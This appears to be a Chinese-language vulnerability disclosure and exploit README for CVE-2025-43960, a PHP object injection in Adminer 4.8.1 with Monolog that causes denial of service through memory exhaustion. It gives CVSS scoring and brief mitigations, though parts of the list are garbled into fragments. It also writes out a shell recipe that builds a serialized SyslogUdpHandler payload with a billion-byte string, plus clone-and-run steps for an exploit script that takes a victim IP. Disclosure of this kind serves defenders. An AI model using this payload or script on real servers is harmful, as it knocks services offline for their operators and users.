经过数月的等待未收到 MITRE 的回应,我获得了 CVE-2025-43960,该漏洞为针对 Adminer 服务(<4.8.1)的 PHP 对象注入攻击,通过内存操纵导致拒绝服务(DoS)。
https://github.com/user-attachments/assets/ebf7d8e8-01db-4d02-bb12-33321c749458
此漏洞允许远程非认证攻击者利用使用了 Monolog 的 Adminer 4.8.1 实例,通过 PHP 对象注入造成拒绝服务(DoS)。攻击向量无需认证或用户交互,因此是一个高严重性问题(CVSS 7.5),在某些共享环境中可能升级至 8.6。
当使用 Monolog 进行日志记录时,Adminer 4.8.1 存在一个拒绝服务(内存消耗)漏洞,攻击者可利用精心构造的序列化载荷(例如带有 s:1000000000 字符串的载荷)触发该漏洞,即 PHP 对象注入问题。该漏洞影响使用 Monolog 进行日志记录的 Adminer 实例,未受信任的用户输入在未经适当验证的情况下被反序列化。通过发送一个大型反序列化对象,攻击者可强制造成高内存消耗,使 Adminer 界面无响应,从而导致服务器范围的拒绝服务。
基础分数: 7.5(高)
向量: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
关于特定部署的说明:
如果崩溃 Adminer 同时影响其他服务/租户(例如容器或共享进程),则可能应用 范围:已变更:
- 向量:
AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H- 分数: 8.6(高)
unserialize()。memory_limit)以防止资源过度消耗。unserialize() 中使用 allowed_classes 限制未经授权类的反序列化。< 4.8.1(测试时的最新稳定版本)unserialize() 的 PHP 对象注入生成载荷:
head -c 1000000000 </dev/zero | tr '\0' 'D' > filler.txt
echo 'O:32:"Monolog\\Handler\\SyslogUdpHandler":2:{
s:9:"*socket";r:2;
s:10:"*handler";s:1000000000:"'$(cat filler.txt)'";
}' > payload.txt
影响:
python3 --version 检查。git clone https://github.com/far00t01/CVE-2025-43960
cd CVE-2025-43960
pip install -r requirement.txt
python3 cve-2025-43960.py
python3 cve-2025-43960.py
用法: cve-2025-43960.py <监听IP> <监听端口> <受害者IP:端口>
示例: python3 cve-2025-43960.py 198.51.100.11 80 203.0.113.11:8000
Fabian Rosales (@far00t01) Medium